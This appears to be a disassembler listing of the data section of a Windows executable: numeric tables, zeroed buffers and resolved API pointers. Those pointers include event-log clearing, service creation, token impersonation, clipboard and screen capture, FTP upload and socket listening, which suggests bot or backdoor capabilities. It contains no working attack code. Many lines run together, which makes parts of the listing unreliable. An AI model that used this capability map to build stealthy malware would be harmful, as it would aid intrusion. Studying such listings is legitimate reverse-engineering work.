		dd 437E20h, 450C4Ch, 450C50h, 437E18h, 437E04h,	437DFCh
		dd 0
dword_453D28	dd 2Eh,	0			dd offset dword_453D28
		dd offset dword_676C70
		dd offset dword_676C70
		dd offset dword_676C70
		dd offset dword_676C70
		dd offset dword_676C70
		dd offset dword_676C70
		dd offset dword_676C70
		dd offset dword_676C70
		dd offset dword_676C70
		dd 2 dup(7F7F7F7Fh), 453D30h, 3	dup(0)
dword_453D70	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_453ED0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_436254+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
dword_454030	dd 2 dup(0)	word_454038	dw 0			; DATA XREF: sub_401136+13o
					; sub_408029+2Fr ...
		align 10h
dword_454040	dd 0							; sub_402BD7+9w
dword_454044	dd 0							; sub_402BD7+21r
dword_454048	dd 0							; sub_402BD7+2Er
		dd 23h dup(0)
dword_4540D8	dd 0							; sub_40222C+B1w ...
dword_4540DC	dd 0							; sub_402459+19Ar ...
		dd 198h	dup(0)
dword_454740	dd 3 dup(0)	dword_45474C	dd 6 dup(0)						; sub_402459+201o ...
dword_454764	dd 3 dup(0)	dword_454770	dd 0		dword_454774	dd 41h dup(0)	dword_454878	dd 41h dup(0)	dword_45497C	dd 0							; sub_4020BA+FEr
dword_454980	dd 0		dword_454984	dd 0							; sub_4020BA+BEr
dword_454988	dd 23h dup(0)	dword_454A14	dd 0							; sub_4020BA:loc_4021D9r
dword_454A18	dd 0		dword_454A1C	dd 0							; sub_402CE9+8Fr ...
dword_454A20	dd 4 dup(0)	dword_454A30	dd 0							; sub_402CE9+58w ...
dword_454A34	dd 0		; resolved to->NTDLL.RtlInitUnicodeString					; sub_402822+35r ...
dword_454A38	dd 0		; resolved to->NTDLL.ZwOpenSection					; sub_40292F+62r ...
dword_454A3C	dd 0							; sub_402822+2Dr ...
dword_454A40	dd 0							; sub_402A0Er ...
dword_454A44	dd 0							; sub_40292F+7Fr ...
dword_454A48	dd 0							; sub_40A9FE+5F2Bw ...
dword_454A4C	dd 0							; sub_40A9FE+2231w ...
dword_454A50	dd 0							; sub_402CE9:loc_40318Er ...
byte_454A54	db 0			; DATA XREF: sub_401E9E+37r
					; sub_40541D+8Eo ...
		align 4
dword_454A58	dd 20h dup(0)						; sub_40366B+14o
dword_454AD8	dd 0							; sub_4066E2+43w
		align 10h
dword_454AE0	dd 6 dup(0)						; sub_4066E2+314o ...
dword_454AF8	dd 0							; sub_4066E2+3C9o
dword_454AFC	dd 0							; sub_4066E2+3D5o
dword_454B00	dd 0							; sub_4066E2+3E6o
dword_454B04	dd 0							; sub_4066E2+3F5o
dword_454B08	dd 0							; sub_4066E2+401o
dword_454B0C	dd 0							; sub_4066E2+411o
dword_454B10	dd 0							; sub_4066E2+41Do
dword_454B14	dd 0							; sub_4066E2+42Do
dword_454B18	dd 0B2h	dup(0)						; sub_4066E2+441o
dword_454DE0	dd 0		dword_454DE4	dd 0		dword_454DE8	dd 0		dword_454DEC	dd 0		dword_454DF0	dd 0		dword_454DF4	dd 0		dword_454DF8	dd 53h dup(0)	dword_454F44	dd 0		dword_454F48	dd 0		dword_454F4C	dd 0		dword_454F50	dd 0		dword_454F54	dd 0		dword_454F58	dd 0		dword_454F5C	dd 0		dword_454F60	dd 0							; sub_406429+EBr ...
		align 8
dword_454F68	dd 96h dup(0)						; sub_4066E2+289o ...
dword_4551C0	dd 3 dup(0)	dword_4551CC	dd 3 dup(0)	dword_4551D8	dd 9 dup(0)	dword_4551FC	dd 3 dup(0)	dword_455208	dd 9 dup(0)	dword_45522C	dd 49h dup(0)	dword_455350	dd 10h dup(0)	dword_455390	dd 0		dword_455394	dd 0							; sub_405C99+439o
dword_455398	dd 0							; sub_4066E2+514r ...
dword_45539C	dd 0							; sub_4066E2+50Ar
dword_4553A0	dd 0							; sub_4066E2:loc_406BC7r
dword_4553A4	dd 2 dup(0)						; sub_4066E2+22Co ...
dword_4553AC	dd 0		dword_4553B0	dd 0		dword_4553B4	dd 41h dup(0)	dword_4554B8	dd 41h dup(0)	dword_4555BC	dd 0							; sub_406C69+EAr
dword_4555C0	dd 0		dword_4555C4	dd 0							; sub_406C69+56w ...
dword_4555C8	dd 23h dup(0)	dword_455654	dd 0							; sub_406C69:loc_406D74r
dword_455658	dd 0				dd 19h dup(0)
dword_4556C0	dd 0							; .text:00408B71w ...
		align 8
byte_4556C8	db 0			; DATA XREF: .text:0040825Eo
					; .text:004087B3r ...
		align 4
		dd 3Fh dup(0)
dword_4557C8	dd 3 dup(0)	dword_4557D4	dd 0							; sub_409EE2+C0r
dword_4557D8	dd 0				align 10h
dword_4557E0	dd 0				align 8
byte_4557E8	db 0			; DATA XREF: sub_409EE2+BAo
					; sub_409FC8+63o
byte_4557E9	db 3 dup(0)		; DATA XREF: sub_409FC8+74o
		dd 1FEh	dup(0)
		db 2 dup(0)
word_455FE6	dw 0			; DATA XREF: sub_409FC8+CFo
		dd 8Ah dup(0)
dword_456210	dd 0							; sub_40A7C5:loc_40A90Bw
		align 8
dword_456218	dd 4 dup(0)	dword_456228	dd 0		dword_45622C	dd 41h dup(0)	dword_456330	dd 41h dup(0)	dword_456434	dd 0							; sub_40A9FE+226Cr ...
dword_456438	dd 0		dword_45643C	dd 0							; sub_40A9FE+21BDw ...
dword_456440	dd 23h dup(0)	dword_4564CC	dd 0							; sub_40A9FE:loc_40CC8Er
dword_4564D0	dd 0				align 8
dword_4564D8	dd 0							; sub_40A9FE+672Co
		dd 20h dup(0)
dword_45655C	dd 0							; sub_40A9FE+673Er
		dd 0Ah dup(0)
dword_456588	dd 0		dword_45658C	dd 0				dd 0
dword_456594	dd 0							; sub_40A9FE:loc_4111A7r
		align 10h
dword_4565A0	dd 80h dup(0)						; sub_401B6E+265o ...
dword_4567A0	dd 0							; sub_401B6E+259r ...
		align 8
dword_4567A8	dd 80h dup(0)						; sub_406429+1DFo ...
dword_4569A8	dd 80h dup(0)						; sub_406429+1DAo ...
dword_456BA8	dd 80h dup(0)						; sub_406429:loc_4065BDo ...
dword_456DA8	dd 0							; sub_401B6E+81w ...
dword_456DAC	dd 0		; resolved to->GDI32.DeleteDC					; sub_417362+66Fr
dword_456DB0	dd 0		; resolved to->KERNEL32.Module32Firstdword_456DB4	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_417362+9A0w ...
dword_456DB8	dd 0							; sub_417362+BE5r
dword_456DBC	dd 0							; sub_417362+BB5r ...
dword_456DC0	dd 0		; resolved to->GDI32.SelectObject					; sub_417362+65Fr
dword_456DC4	dd 0							; sub_417362+BDDr
dword_456DC8	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_417362+404w ...
dword_456DCC	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_41BE01+177r
dword_456DD0	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_4051EF+12Br ...
dword_456DD4	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_417362+4FEr
dword_456DD8	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_402CE9+162r ...
dword_456DDC	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_417362+DFr
dword_456DE0	dd 0							; sub_417362+BA8r ...
dword_456DE4	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_4051EF:loc_4052EAr ...
dword_456DE8	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_417362+A5Br ...
dword_456DEC	dd 0		; resolved to->USER32.GetWindowThreadProcessId					; sub_417362+277r
dword_456DF0	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_417362+359r ...
dword_456DF4	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_417362+A53r ...
dword_456DF8	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_417362+107r
dword_456DFC	dd 0		; resolved to->WININET.InternetReadFile					; sub_417362+A63r ...
dword_456E00	dd 0		; resolved to->ADVAPI32.LockServiceDatabase					; sub_417362+50Er ...
dword_456E04	dd 0		; resolved to->ADVAPI32.RegEnumValueA					; sub_417362+379r ...
dword_456E08	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_417362+861r
dword_456E0C	dd 0		; resolved to->KERNEL32.Process32Next					; sub_417362+D7r
dword_456E10	dd 0		; resolved to->IPHLPAPI.IcmpSendEchodword_456E14	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_417362+C33w ...
dword_456E18	dd 0		; resolved to->WININET.FtpGetFileAdword_456E1C	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_417362+FFr
dword_456E20	dd 0							; sub_417362+EAFr ...
dword_456E24	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_417362+657r
dword_456E28	dd 0		; resolved to->WS2_32.ntohl					; sub_407281+F6r ...
dword_456E2C	dd 0							; sub_417362+B6Dw ...
dword_456E30	dd 0		; resolved to->WS2_32.ntohs					; sub_417362+8E5r ...
dword_456E34	dd 0							; sub_417362+D4Cw
dword_456E38	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_417362+A1Cr ...
dword_456E3C	dd 0		; resolved to->USER32.ExitWindowsExdword_456E40	dd 0							; sub_417362+BBDr ...
dword_456E44	dd 0		; resolved to->ADVAPI32.ControlService					; sub_417362+4DEr ...
dword_456E48	dd 0		; resolved to->ADVAPI32.OpenThreadToken					; sub_417362+3BEr ...
dword_456E4C	dd 0		; resolved to->ADVAPI32.CloseEventLog					; sub_417362+587w ...
dword_456E50	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_4051EF+136r ...
dword_456E54	dd 0		; resolved to->WS2_32.getpeernamedword_456E58	dd 0		; resolved to->WS2_32.WSACleanup					; sub_417362+705w ...
dword_456E5C	dd 0		; resolved to->GDI32.DeleteObjectdword_456E60	dd 0							; sub_417362+B94w ...
dword_456E64	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_417362+361r ...
dword_456E68	dd 0		; resolved to->ADVAPI32.RegEnumKeyExA					; sub_420F6C+8Ar ...
dword_456E6C	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_417362+E7r
dword_456E70	dd 0		; resolved to->ADVAPI32.SetServiceStatus					; sub_422009+12Ar ...
dword_456E74	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_417362+D99w ...
dword_456E78	dd 0		; resolved to->WS2_32.WSAStartup					; sub_417362+844r ...
dword_456E7C	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_417362+A3Fr ...
dword_456E80	dd 0		; resolved to->USER32.CloseWindow					; sub_417362+1C6r
dword_456E84	dd 0							; sub_417362+B53w ...
dword_456E88	dd 0		; resolved to->ADVAPI32.QueryServiceLockStatusA					; sub_417362+516r ...
dword_456E8C	dd 0							; sub_417362+E3Br
dword_456E90	dd 0		; resolved to->ADVAPI32.OpenEventLogA					; sub_417362+57Aw ...
dword_456E94	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_417362+ADDr
dword_456E98	dd 0		; resolved to->ADVAPI32.RegDeleteKeyA					; sub_417362+369r ...
dword_456E9C	dd 0		dword_456EA0	dd 0		; resolved to->ADVAPI32.ClearEventLogA					; sub_417362+56Dw ...
dword_456EA4	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_417362+879r
dword_456EA8	dd 0		; resolved to->WININET.InternetOpenA					; sub_417362+A22r
dword_456EAC	dd 0		; resolved to->SHLWAPI.PathRemoveFileSpecA					; sub_4182BA+305r ...
dword_456EB0	dd 0		; resolved to->USER32.IsWindow					; sub_417362+1E3r
dword_456EB4	dd 0		; resolved to->IPHLPAPI.GetNetworkParamsdword_456EB8	dd 0		; resolved to->WS2_32.getsockname					; sub_40A9FE+9997r ...
dword_456EBC	dd 0		; resolved to->WS2_32.connect					; sub_401B6E+76r ...
dword_456EC0	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_417362+86Dr ...
dword_456EC4	dd 0		; resolved to->ADVAPI32.RegQueryInfoKeyA					; sub_421126+7Ar
dword_456EC8	dd 0		; resolved to->USER32.GetWindowInfo					; sub_417362+26Fr
dword_456ECC	dd 0		; resolved to->USER32.ShowWindow					; sub_417362+27Fr
dword_456ED0	dd 0							; sub_417362:loc_417E0Aw ...
dword_456ED4	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_417362+349r ...
dword_456ED8	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_417362+823w ...
dword_456EDC	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_417362+3D3r ...
dword_456EE0	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_417362+4F6r ...
dword_456EE4	dd 0							; sub_41FC58+B5r ...
dword_456EE8	dd 0							; sub_417362+E33r
dword_456EEC	dd 0							; sub_417362+EBCr ...
dword_456EF0	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_417362+A37r ...
dword_456EF4	dd 0		; resolved to->USER32.OpenClipboard					; sub_417362+1F3r
dword_456EF8	dd 0		; resolved to->USER32.IsWindowVisible					; sub_417362+287r
dword_456EFC	dd 0		; resolved to->IPHLPAPI.GetIfTable					; sub_417362+CC4r ...
dword_456F00	dd 0		; resolved to->WININET.InternetConnectA					; sub_417362+A47r ...
dword_456F04	dd 0		; resolved to->WSOCK32.recvfrom					; sub_417362+7A8w ...
dword_456F08	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_417362+371r ...
dword_456F0C	dd 0							; sub_423C7A+8Cr
dword_456F10	dd 0		; resolved to->WSOCK32.setsockopt					; sub_40A17E+34r ...
dword_456F14	dd 0		; resolved to->IPHLPAPI.GetTcpTable					; sub_417362+CD0r
dword_456F18	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_417362+3CBr ...
dword_456F1C	dd 0		; resolved to->WS2_32.select					; sub_4022E7+B6r ...
dword_456F20	dd 0		; resolved to->GDI32.CreateDCA					; sub_417362+632r
dword_456F24	dd 0		; resolved to->USER32.GetClipboardData					; sub_417362+1FBr
dword_456F28	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_417362+3F7w ...
dword_456F2C	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_456F30	dd 0							; sub_417362+EC4r ...
dword_456F34	dd 0		; resolved to->WS2_32.ntohl					; sub_4021E4+2Br ...
dword_456F38	dd 0		; resolved to->WS2_32.ntohs					; sub_401B6E+50r ...
dword_456F3C	dd 0		; resolved to->KERNEL32.Process32First					; sub_417362+CFr
dword_456F40	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_417362+64Fr
dword_456F44	dd 0		; resolved to->USER32.FindWindowA					; sub_417362+17Ew ...
dword_456F48	dd 0		dword_456F4C	dd 0		; resolved to->WS2_32.gethostname					; sub_417362+93Dr ...
dword_456F50	dd 0		; resolved to->ADVAPI32.RegisterServiceCtrlHandlerA					; sub_417362+52Er ...
dword_456F54	dd 0		; resolved to->ADVAPI32.UnlockServiceDatabase					; sub_417362+526r ...
dword_456F58	dd 0		; resolved to->WSOCK32.recv					; sub_401B6E+EEr ...
dword_456F5C	dd 0							; sub_417362+E43r
dword_456F60	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_417362+C7r
dword_456F64	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_417362+351r ...
dword_456F68	dd 0		; resolved to->WS2_32.listen					; sub_40A17E+5Dr ...
dword_456F6C	dd 0		; resolved to->WS2_32.bind					; sub_40A17E+47r ...
dword_456F70	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_4182BA+10Cr ...
dword_456F74	dd 0		dword_456F78	dd 0							; sub_417362+E1Er
dword_456F7C	dd 0		; resolved to->WS2_32.inet_addr					; sub_401B6E+40r ...
dword_456F80	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_417362+63Fr
dword_456F84	dd 0		; resolved to->GDI32.BitBlt					; sub_417362+667r
dword_456F88	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_417362+647r
dword_456F8C	dd 0		; resolved to->WS2_32.send					; sub_401642+35r ...
dword_456F90	dd 0		; resolved to->KERNEL32.GetComputerNameA					; sub_41BE01+188r ...
dword_456F94	dd 0		; resolved to->USER32.CloseClipboard					; sub_417362+203r
dword_456F98	dd 0							; sub_417362+BF5r
dword_456F9C	dd 0		; resolved to->USER32.SendMessageA					; sub_40A9FE+2517r ...
dword_456FA0	dd 0							; sub_41FC58+E1r
dword_456FA4	dd 0		; resolved to->IPHLPAPI.GetUdpTabledword_456FA8	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_417362+EFr
dword_456FAC	dd 0		; resolved to->WS2_32.sendto					; .text:0040A490r ...
dword_456FB0	dd 0							; sub_4059BF+93r ...
dword_456FB4	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_41FE3F+80r ...
dword_456FB8	dd 0		; resolved to->ADVAPI32.CreateServiceA					; sub_417362+45Fw ...
dword_456FBC	dd 0		; resolved to->WININET.FtpPutFileAdword_456FC0	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_417362+33Cr ...
dword_456FC4	dd 0		; resolved to->SHELL32.SHChangeNotifydword_456FC8	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_417362+CBCr ...
dword_456FCC	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_417362+CAFr ...
dword_456FD0	dd 0		; resolved to->WS2_32.socket					; sub_401B6E+5Er ...
dword_456FD4	dd 0		; resolved to->WS2_32.gethostbyname					; sub_417362+816w ...
dword_456FD8	dd 0							; sub_417362+E2Br
dword_456FDC	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_4022E7+14r ...
dword_456FE0	dd 0							; sub_4059BF+15Er ...
dword_456FE4	dd 0		; resolved to->WS2_32.accept					; sub_417362+7E2w ...
dword_456FE8	dd 0		; resolved to->WS2_32.shutdown					; sub_41CA82+22r
dword_456FEC	dd 0		; resolved to->USER32.EnumWindows					; sub_417362+262r ...
dword_456FF0	dd 0		; resolved to->WS2_32.closesocket					; sub_401B6E+322r ...
dword_456FF4	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_4023BC+4Cr ...
dword_456FF8	dd 0							; sub_417362+D53r
dword_456FFC	dd 0		; resolved to->WS2_32.WSASocketA					; sub_417362+855r
dword_457000	dd 0							; sub_4059BF+7Fr ...
dword_457004	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_4079AA+4Br ...
dword_457008	dd 0		; resolved to->USER32.DestroyWindow					; sub_417362+1EBr
dword_45700C	dd 0		; resolved to->ADVAPI32.ImpersonateLoggedOnUser					; sub_417362+506r ...
dword_457010	dd 0		; resolved to->ADVAPI32.ChangeServiceConfig2A					; sub_417362+51Er ...
dword_457014	dd 0		; resolved to->USER32.GetClassNameAdword_457018	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_417362+AEAr
dword_45701C	dd 0		; resolved to->ADVAPI32.StartServiceCtrlDispatcherA					; sub_418E0F+174r
dword_457020	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_417362+F7r ...
dword_457024	dd 0							; sub_417362+137w
dword_457028	dd 0		dword_45702C	dd 0							; sub_417362:loc_417602w
dword_457030	dd 0		dword_457034	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_40A9FE+1ADFr ...
		dd 0
dword_45703C	dd 0		dword_457040	dd 0		dword_457044	dd 0		dword_457048	dd 0		dword_45704C	dd 0		dword_457050	dd 0							; sub_417362:loc_417DD1w ...
dword_457054	dd 0		dword_457058	dd 0		dword_45705C	dd 0		dword_457060	dd 0		dword_457064	dd 0		dword_457068	dd 0		dword_45706C	dd 0		dword_457070	dd 0							; sub_417362:loc_418062w ...
		align 8
dword_457078	dd 0		dword_45707C	dd 0		dword_457080	dd 0		dword_457084	dd 0		dword_457088	dd 0		dword_45708C	dd 0		dword_457090	dd 0				dd 2 dup(0)
dword_45709C	dd 0							; sub_417362+EE6w
dword_4570A0	dd 0		dword_4570A4	dd 0							; sub_423846:loc_4238BEr
dword_4570A8	dd 0				dd 2 dup(0)
dword_4570B4	dd 0		dword_4570B8	dd 0				align 10h
dword_4570C0	dd 0							; sub_418D90+Ao ...
		dd 5 dup(0)
dword_4570D8	dd 0							; sub_418D90+5Fr
		dd 2D9h	dup(0)
dword_457C40	dd 4 dup(0)						; sub_4022E7+Co ...
dword_457C50	dd 0				align 8
dword_457C58	dd 28h dup(0)						; sub_40A9FE:loc_4132DFo ...
dword_457CF8	dd 4 dup(0)						; sub_4022E7+2Bo ...
dword_457D08	dd 0							; sub_402CE9+46Cw
dword_457D0C	dd 0							; sub_418FA1+5A3w ...
dword_457D10	dd 0				align 8
dword_457D18	dd 41h dup(0)						; sub_42245D+60o
dword_457E1C	dd 0Fh dup(0)	dword_457E58	dd 0							; sub_40A9FE+1952r ...
		align 10h
dword_457E60	dd 40h dup(0)	dword_457F60	dd 0							; sub_40A9FE+89FAr ...
dword_457F64	dd 0							; sub_418FA1+663r ...
dword_457F68	dd 0							; sub_406C69+24r ...
byte_457F6C	db 0			; DATA XREF: sub_416596+D9o
					; sub_420CB6+50o
byte_457F6D	db 3 dup(0)		; DATA XREF: sub_416596+F1o
					; sub_420D29+23o
dword_457F70	dd 0Dh dup(0)	dword_457FA4	dd 0Dh dup(0)	dword_457FD8	dd 0							; sub_41BC0B:loc_41BC81r ...
dword_457FDC	dd 107h	dup(0)	dword_4583F8	dd 4 dup(0)	dword_458408	dd 4 dup(0)	byte_458418	db 0			; DATA XREF: sub_41D2AB+Bo
					; sub_41D2AB+5Aw
		align 4
		dd 3 dup(0)
dword_458428	dd 4 dup(0)	dword_458438	dd 4 dup(0)	dword_458448	dd 0		byte_45844C	db 0			; DATA XREF: sub_41D242+Ao
					; sub_41D242+2Br
		align 10h
		dd 3 dup(0)
dword_45845C	dd 4 dup(0)	byte_45846C	db 0			; DATA XREF: sub_41D1FD+5o
					; sub_41D1FD+2Cw ...
		align 10h
		dd 3 dup(0)
byte_45847C	db 0			; DATA XREF: sub_41D318+Eo
					; sub_41D318+14Aw
		align 10h
		dd 3 dup(0)
dword_45848C	dd 4 dup(0)	dword_45849C	dd 4 dup(0)	dword_4584AC	dd 0							; sub_41C8B1+B3w ...
dword_4584B0	dd 0							; sub_41C600+35r ...
		align 10h
dword_4584C0	dd 0							; sub_41C6C4+1o ...
		align 10h
dword_4584D0	dd 0							; sub_41C704+35r
		dd 86h dup(0)
		db 0
byte_4586ED	db 3 dup(0)		; DATA XREF: sub_41C600+13o
					; sub_41C65E+47o ...
dword_4586F0	dd 0							; sub_41E661+58r ...
dword_4586F4	dd 0							; sub_41E661+3Br ...
dword_4586F8	dd 0							; sub_41E7BE+8Do
dword_4586FC	dd 0							; sub_41E7BE+121w ...
dword_458700	dd 0							; sub_41E661+F3r ...
		dd 4 dup(0)
dword_458714	dd 0Dh dup(0)						; sub_41E7BE:loc_41E8FDo
dword_458748	dd 0							; sub_41EC9D+4Dr ...
		align 10h
dword_458750	dd 0							; sub_41EC9D+CEr ...
		dd 9C3h	dup(0)
dword_45AE60	dd 40h dup(0)						; sub_41EFEF+4Co
dword_45AF60	dd 20h dup(0)	dword_45AFE0	dd 0							; sub_41F0F5:loc_41F18Ar
		align 8
dword_45AFE8	dd 0							; sub_421340+5Ew ...
		dd 4000h dup(0)
dword_46AFEC	dd 0							; sub_4221E4+63r ...
dword_46AFF0	dd 0							; sub_422147+50w
dword_46AFF4	dd 0							; sub_422147+8w ...
dword_46AFF8	dd 0							; sub_422147+1Cw ...
dword_46AFFC	dd 0		dword_46B000	dd 0		dword_46B004	dd 0		dword_46B008	dd 0							; sub_422147+5Bw
dword_46B00C	dd 0							; sub_422147+61w
dword_46B010	dd 0							; sub_407281+94o ...
		dd 9C3h	dup(0)
dword_46D720	dd 0							; sub_4234A7+79w ...
dword_46D724	dd 0							; sub_402675+47r ...
dword_46D728	dd 0							; sub_41E7BE+16Bw ...
dword_46D72C	dd 0							; sub_402459+15Dw ...
dword_46D730	dd 0							; .text:0040A23Cw ...
		dd 0A45h dup(0)
		db 3 dup(0)
byte_47004B	db 0			; DATA XREF: .text:0043C5C9o
					; .text:0043E4D1o
		db 3 dup(0)
byte_47004F	db 0			; DATA XREF: .text:0044ED3Co
		dd 7FFFh dup(0)
		db 0
byte_49004D	db 3 dup(0)		; DATA XREF: .text:0044ED98o
					; .text:0044EF4Co
dword_490050	dd 3 dup(0)	dword_49005C	dd 7FFAh dup(0)			db 3 dup(0)
byte_4B0047	db 0			; DATA XREF: .text:0043C5F1o
					; .text:0043E4F9o
		dd 13B8h dup(0)
		db 3 dup(0)
byte_4B4F2B	db 0			; DATA XREF: .text:off_4506DCo
		dd 2C45h dup(0)
		db 3 dup(0)
		db 0
		dd 4 dup(0)
dword_4C0054	dd 507Dh dup(0)			db 0
byte_4D4249	db 3 dup(0)		; DATA XREF: .text:off_43DA58o
		dd 5C1h	dup(0)
		db 3 dup(0)
byte_4D5953	db 0			; DATA XREF: .text:off_44D5E0o
		dd 29BDh dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: .text:0044EDA8o
					; .text:0044EF3Co
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: .text:0044ED40o
		dd 103Fh dup(0)
dword_4E414C	dd 202h	dup(0)			db 3 dup(0)
byte_4E4957	db 0			; DATA XREF: .text:off_447718o
		dd 27Ah	dup(0)
		db 0
byte_4E5341	db 3 dup(0)		; DATA XREF: .text:off_44D5B4o
		dd 2B43h dup(0)
		db 2 dup(0)
word_4F0052	dw 0			; DATA XREF: .text:0043C5CDo
					; .text:0043E4D5o
		dd 0B3Dh dup(0)
dword_4F2D48	dd 34ADh dup(0)			db 3 dup(0)
byte_4FFFFF	db 0			; DATA XREF: sub_41F0F5+33Ao
		dd 12h dup(0)
		db 0
byte_500049	db 3 dup(0)		; DATA XREF: .text:off_44ED88o
					; .text:off_44EF58o
dword_50004C	dd 2 dup(0)			db 0
byte_500055	db 3 dup(0)		; DATA XREF: .text:0043C5D1o
					; .text:0043E4D9o
		dd 4005h dup(0)
dword_51006C	dd 3FF5h dup(0)						; .text:0043E4DDo
		db 2 dup(0)
word_520042	dw 0			; DATA XREF: .text:off_44ED68o
		dd 2 dup(0)
		db 3 dup(0)
byte_52004F	db 0			; DATA XREF: .text:0043C5C5o
					; .text:0043E4CDo
dword_520050	dd 0							; .text:off_44EF38o
dword_520054	dd 3FFDh dup(0)			db 0
